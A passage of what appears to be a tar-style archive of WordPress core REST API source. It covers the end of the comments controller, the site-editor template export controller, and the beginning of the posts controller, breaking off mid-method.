			$response->add_links( $this->prepare_links( $comment ) );
		}

		/**
		 * Filters a comment returned from the REST API.
		 *
		 * Allows modification of the comment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response The response object.
		 * @param WP_Comment        $comment  The original comment object.
		 * @param WP_REST_Request   $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return array Links for the given comment.
	 */
	protected function prepare_links( $comment ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( 0 !== (int) $comment->user_id ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
				'embeddable' => true,
			);
		}

		if ( 0 !== (int) $comment->comment_post_ID ) {
			$post       = get_post( $comment->comment_post_ID );
			$post_route = rest_get_route_for_post( $post );

			if ( ! empty( $post->ID ) && $post_route ) {
				$links['up'] = array(
					'href'       => rest_url( $post_route ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
				);
			}
		}

		if ( 0 !== (int) $comment->comment_parent ) {
			$links['in-reply-to'] = array(
				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
				'embeddable' => true,
			);
		}

		// Only grab one comment to verify the comment has children.
		$comment_children = $comment->get_children(
			array(
				'count'   => true,
				'orderby' => 'none',
			)
		);

		if ( ! empty( $comment_children ) ) {
			$args = array(
				'parent' => $comment->comment_ID,
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href'       => $rest_url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepends internal property prefix to query parameters to match our response fields.
	 *
	 * @since 4.7.0
	 *
	 * @param string $query_param Query parameter.
	 * @return string The normalized query parameter.
	 */
	protected function normalize_query_param( $query_param ) {
		$prefix = 'comment_';

		switch ( $query_param ) {
			case 'id':
				$normalized = $prefix . 'ID';
				break;
			case 'post':
				$normalized = $prefix . 'post_ID';
				break;
			case 'parent':
				$normalized = $prefix . 'parent';
				break;
			case 'include':
				$normalized = 'comment__in';
				break;
			default:
				$normalized = $prefix . $query_param;
				break;
		}

		return $normalized;
	}

	/**
	 * Checks comment_approved to set comment status for single comment output.
	 *
	 * @since 4.7.0
	 *
	 * @param string $comment_approved Comment status.
	 * @return string Comment status.
	 */
	protected function prepare_status_response( $comment_approved ) {

		switch ( $comment_approved ) {
			case 'hold':
			case '0':
				$status = 'hold';
				break;

			case 'approve':
			case '1':
				$status = 'approved';
				break;

			case 'spam':
			case 'trash':
			default:
				$status = $comment_approved;
				break;
		}

		return $status;
	}

	/**
	 * Prepares a single comment to be inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_comment = array();

		/*
		 * Allow the comment_content to be set via the 'content' or
		 * the 'content.raw' properties of the Request object.
		 */
		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content'] );
		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content']['raw'] );
		}

		if ( isset( $request['post'] ) ) {
			$prepared_comment['comment_post_ID'] = (int) $request['post'];
		}

		if ( isset( $request['parent'] ) ) {
			$prepared_comment['comment_parent'] = $request['parent'];
		}

		if ( isset( $request['author'] ) ) {
			$user = new WP_User( $request['author'] );

			if ( $user->exists() ) {
				$prepared_comment['user_id']              = $user->ID;
				$prepared_comment['comment_author']       = $user->display_name;
				$prepared_comment['comment_author_email'] = $user->user_email;
				$prepared_comment['comment_author_url']   = $user->user_url;
			} else {
				return new WP_Error(
					'rest_comment_author_invalid',
					__( 'Invalid comment author ID.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( isset( $request['author_name'] ) ) {
			$prepared_comment['comment_author'] = $request['author_name'];
		}

		if ( isset( $request['author_email'] ) ) {
			$prepared_comment['comment_author_email'] = $request['author_email'];
		}

		if ( isset( $request['author_url'] ) ) {
			$prepared_comment['comment_author_url'] = $request['author_url'];
		}

		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
			$prepared_comment['comment_author_IP'] = $request['author_ip'];
		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
		} else {
			$prepared_comment['comment_author_IP'] = '127.0.0.1';
		}

		if ( ! empty( $request['author_user_agent'] ) ) {
			$prepared_comment['comment_agent'] = $request['author_user_agent'];
		} elseif ( $request->get_header( 'user_agent' ) ) {
			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
		}

		if ( ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		} elseif ( ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		}

		/**
		 * Filters a comment added via the REST API after it is prepared for insertion into the database.
		 *
		 * Allows modification of the comment right after it is prepared for the database.
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
		 * @param WP_REST_Request $request          The current request.
		 */
		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
	}

	/**
	 * Retrieves the comment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'comment',
			'type'       => 'object',
			'properties' => array(
				'id'                => array(
					'description' => __( 'Unique identifier for the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'author'            => array(
					'description' => __( 'The ID of the user object, if author was a user.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_email'      => array(
					'description' => __( 'Email address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
						'validate_callback' => null, // Skip built-in validation of 'email'.
					),
				),
				'author_ip'         => array(
					'description' => __( 'IP address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'ip',
					'context'     => array( 'edit' ),
				),
				'author_name'       => array(
					'description' => __( 'Display name for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'author_url'        => array(
					'description' => __( 'URL for the comment author.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_user_agent' => array(
					'description' => __( 'User agent for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'content'           => array(
					'description' => __( 'The content for the comment.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
					),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Content for the comment, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'rendered' => array(
							'description' => __( 'HTML content for the comment, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'date'              => array(
					'description' => __( "The date the comment was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'          => array(
					'description' => __( 'The date the comment was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'link'              => array(
					'description' => __( 'URL to the comment.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'parent'            => array(
					'description' => __( 'The ID for the parent of the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'default'     => 0,
				),
				'post'              => array(
					'description' => __( 'The ID of the associated post object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'default'     => 0,
				),
				'status'            => array(
					'description' => __( 'State of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_key',
					),
				),
				'type'              => array(
					'description' => __( 'Type of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['author_avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the comment author.' ),
				'type'        => 'object',
				'context'     => array( 'view', 'edit', 'embed' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Comments collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['author'] = array(
			'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_exclude'] = array(
			'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_email'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
			'format'      => 'email',
			'type'        => 'string',
		);

		$query_params['before'] = array(
			'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by comment attribute.' ),
			'type'        => 'string',
			'default'     => 'date_gmt',
			'enum'        => array(
				'date',
				'date_gmt',
				'id',
				'include',
				'post',
				'parent',
				'type',
			),
		);

		$query_params['parent'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments of specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['parent_exclude'] = array(
			'default'     => array(),
			'description' => __( 'Ensure result set excludes specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['post'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments assigned to specific post IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['status'] = array(
			'default'           => 'approve',
			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['type'] = array(
			'default'           => 'comment',
			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['password'] = array(
			'description' => __( 'The password for the post if it is password protected.' ),
			'type'        => 'string',
		);

		/**
		 * Filters REST API collection parameters for the comments controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Comment_Query parameter. Use the
		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_comment_collection_params', $query_params );
	}

	/**
	 * Sets the comment_status of a given comment object when creating or updating a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $new_status New comment status.
	 * @param int        $comment_id Comment ID.
	 * @return bool Whether the status was changed.
	 */
	protected function handle_status_param( $new_status, $comment_id ) {
		$old_status = wp_get_comment_status( $comment_id );

		if ( $new_status === $old_status ) {
			return false;
		}

		switch ( $new_status ) {
			case 'approved':
			case 'approve':
			case '1':
				$changed = wp_set_comment_status( $comment_id, 'approve' );
				break;
			case 'hold':
			case '0':
				$changed = wp_set_comment_status( $comment_id, 'hold' );
				break;
			case 'spam':
				$changed = wp_spam_comment( $comment_id );
				break;
			case 'unspam':
				$changed = wp_unspam_comment( $comment_id );
				break;
			case 'trash':
				$changed = wp_trash_comment( $comment_id );
				break;
			case 'untrash':
				$changed = wp_untrash_comment( $comment_id );
				break;
			default:
				$changed = false;
				break;
		}

		return $changed;
	}

	/**
	 * Checks if the post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether post can be read.
	 */
	protected function check_read_post_permission( $post, $request ) {
		$post_type = get_post_type_object( $post->post_type );

		// Return false if custom post type doesn't exist
		if ( ! $post_type ) {
			return false;
		}

		$posts_controller = $post_type->get_rest_controller();

		/*
		 * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance
		 * before using methods specific to that controller.
		 */
		if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) {
			$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
		}

		$has_password_filter = false;

		// Only check password if a specific post was queried for or a single comment
		$requested_post    = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) );
		$requested_comment = ! empty( $request['id'] );
		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
			add_filter( 'post_password_required', '__return_false' );

			$has_password_filter = true;
		}

		if ( post_password_required( $post ) ) {
			$result = current_user_can( 'edit_post', $post->ID );
		} else {
			$result = $posts_controller->check_read_permission( $post );
		}

		if ( $has_password_filter ) {
			remove_filter( 'post_password_required', '__return_false' );
		}

		return $result;
	}

	/**
	 * Checks if the comment can be read.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether the comment can be read.
	 */
	protected function check_read_permission( $comment, $request ) {
		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( $comment->comment_post_ID );
			if ( $post ) {
				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
					return true;
				}
			}
		}

		if ( 0 === get_current_user_id() ) {
			return false;
		}

		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks if a comment can be edited or deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return bool Whether the comment can be edited or deleted.
	 */
	protected function check_edit_permission( $comment ) {
		if ( 0 === (int) get_current_user_id() ) {
			return false;
		}

		if ( current_user_can( 'moderate_comments' ) ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks a comment author email for validity.
	 *
	 * Accepts either a valid email address or empty string as a valid comment
	 * author email address. Setting the comment author email to an empty
	 * string is allowed when a comment is being updated.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   Author email value submitted.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized email address, if valid,
	 *                         otherwise an error.
	 */
	public function check_comment_author_email( $value, $request, $param ) {
		$email = (string) $value;
		if ( empty( $email ) ) {
			return $email;
		}

		$check_email = rest_validate_request_arg( $email, $request, $param );
		if ( is_wp_error( $check_email ) ) {
			return $check_email;
		}

		return $email;
	}

	/**
	 * If empty comments are not allowed, checks if the provided comment content is not empty.
	 *
	 * @since 5.6.0
	 *
	 * @param array $prepared_comment The prepared comment data.
	 * @return bool True if the content is allowed, false otherwise.
	 */
	protected function check_is_comment_content_allowed( $prepared_comment ) {
		$check = wp_parse_args(
			$prepared_comment,
			array(
				'comment_post_ID'      => 0,
				'comment_author'       => null,
				'comment_author_email' => null,
				'comment_author_url'   => null,
				'comment_parent'       => 0,
				'user_id'              => 0,
			)
		);

		/** This filter is documented in wp-includes/comment.php */
		$allow_empty = apply_filters( 'allow_empty_comment', false, $check );

		if ( $allow_empty ) {
			return true;
		}

		/*
		 * Do not allow a comment to be created with missing or empty
		 * comment_content. See wp_handle_comment_submission().
		 */
		return '' !== $check['comment_content'];
	}
}
endpoints/class-wp-rest-edit-site-export-controller.php000064400000004076151724720270017367 0ustar00<?php
/**
 * REST API: WP_REST_Edit_Site_Export_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 */

/**
 * Controller which provides REST endpoint for exporting current templates
 * and template parts.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'export';
	}

	/**
	 * Registers the site export route.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'export' ),
					'permission_callback' => array( $this, 'permissions_check' ),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to export.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has access, or WP_Error object.
	 */
	public function permissions_check() {
		if ( current_user_can( 'export' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_export_templates',
			__( 'Sorry, you are not allowed to export templates and template parts.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Output a ZIP file with an export of the current templates
	 * and template parts from the site editor, and close the connection.
	 *
	 * @since 5.9.0
	 *
	 * @return void|WP_Error
	 */
	public function export() {
		// Generate the export file.
		$filename = wp_generate_block_templates_export_file();

		if ( is_wp_error( $filename ) ) {
			$filename->add_data( array( 'status' => 500 ) );

			return $filename;
		}

		$theme_name = basename( get_stylesheet() );
		header( 'Content-Type: application/zip' );
		header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' );
		header( 'Content-Length: ' . filesize( $filename ) );
		flush();
		readfile( $filename );
		unlink( $filename );
		exit;
	}
}
endpoints/class-wp-rest-posts-controller.php000064400000307510151724720270015330 0ustar00<?php
/**
 * REST API: WP_REST_Posts_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Posts_Controller extends WP_REST_Controller {
	/**
	 * Post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Instance of a post meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Passwordless post access permitted.
	 *
	 * @since 5.7.1
	 * @var int[]
	 */
	protected $password_check_passed = array();

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
	}

	/**
	 * Registers the routes for posts.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		$schema        = $this->get_item_schema();
		$get_item_args = array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['excerpt'] ) ) {
			$get_item_args['excerpt_length'] = array(
				'description' => __( 'Override the default excerpt length.' ),
				'type'        => 'integer',
			);
		}
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => __( 'The password for the post if it is password protected.' ),
				'type'        => 'string',
			);
		}
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the post.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $get_item_args,
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Overrides the result of the post password check for REST requested posts.
	 *
	 * Allow users to read the content of password protected posts if they have
	 * previously passed a permission check or if they have the `edit_post` capability
	 * for the post being checked.
	 *
	 * @since 5.7.1
	 *
	 * @param bool    $required Whether the post requires a password check.
	 * @param WP_Post $post     The post been password checked.
	 * @return bool Result of password check taking into account REST API considerations.
	 */
	public function check_password_required( $required, $post ) {
		if ( ! $required ) {
			return $required;
		}

		$post = get_post( $post );

		if ( ! $post ) {
			return $required;
		}

		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
			// Password previously checked and approved.
			return false;
		}

		return ! current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Retrieves a collection of posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$args       = array();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'post__not_in',
			'include'        => 'post__in',
			'ignore_sticky'  => 'ignore_sticky_posts',
			'menu_order'     => 'menu_order',
			'offset'         => 'offset',
			'order'          => 'order',
			'orderby'        => 'orderby',
			'page'           => 'paged',
			'parent'         => 'post_parent__in',
			'parent_exclude' => 'post_parent__not_in',
			'search'         => 's',
			'search_columns' => 'search_columns',
			'slug'           => 'post_name__in',
			'status'         => 'post_status',
		);

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Check for & assign any parameters which require special handling or setting.
		$args['date_query'] = array();

		if ( isset( $registered['before'], $request['before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['before'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_before'], $request['modified_before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['modified_before'],
				'column' => 'post_modified',
			);
		}

		if ( isset( $registered['after'], $request['after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['after'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_after'], $request['modified_after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['modified_after'],
				'column' => 'post_modified',
			);
		}

		// Ensure our per_page parameter overrides any provided posts_per_page filter.
		if ( isset( $registered['per_page'] ) ) {
			$args['posts_per_page'] = $request['per_page'];
		}

		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
			$sticky_posts = get_option( 'sticky_posts', array() );
			if ( ! is_array( $sticky_posts ) ) {
				$sticky_posts = array();
			}
			if ( $request['sticky'] ) {
				/*
				 * As post__in will be used to only get sticky posts,
				 * we have to support the case where post__in was already
				 * specified.
				 */
				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;

				/*
				 * If we intersected, but there are no post IDs in common,
				 * WP_Query won't return "no posts" for post__in = array()
				 * so we have to fake it a bit.
				 */
				if ( ! $args['post__in'] ) {
					$args['post__in'] = array( 0 );
				}
			} elseif ( $sticky_posts ) {
				/*
				 * As post___not_in will be used to only get posts that
				 * are not sticky, we have to support the case where post__not_in
				 * was already specified.
				 */
				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
			}
		}

		/*
		 * Honor the original REST API `post__in` behavior. Don't prepend sticky posts
		 * when `post__in` has been specified.
		 */
		if ( ! empty( $args['post__in'] ) ) {
			unset( $args['ignore_sticky_posts'] );
		}

		if (
			isset( $registered['search_semantics'], $request['search_semantics'] )
			&& 'exact' === $request['search_semantics']
		) {
			$args['exact'] = true;
		}

		$args = $this->prepare_tax_query( $args, $request );

		if ( isset( $registered['format'], $request['format'] ) ) {
			$formats = $request['format'];
			/*
			 * The relation needs to be set to `OR` since the request can contain
			 * two separate conditions. The user may be querying for items that have
			 * either the `standard` format or a specific format.
			 */
			$formats_query = array( 'relation' => 'OR' );

			/*
			 * The default post format, `standard`, is not stored in the database.
			 * If `standard` is part of the request, the query needs to exclude all post items that
			 * have a format assigned.
			 */
			if ( in_array( 'standard', $formats, true ) ) {
				$formats_query[] = array(
					'taxonomy' => 'post_format',
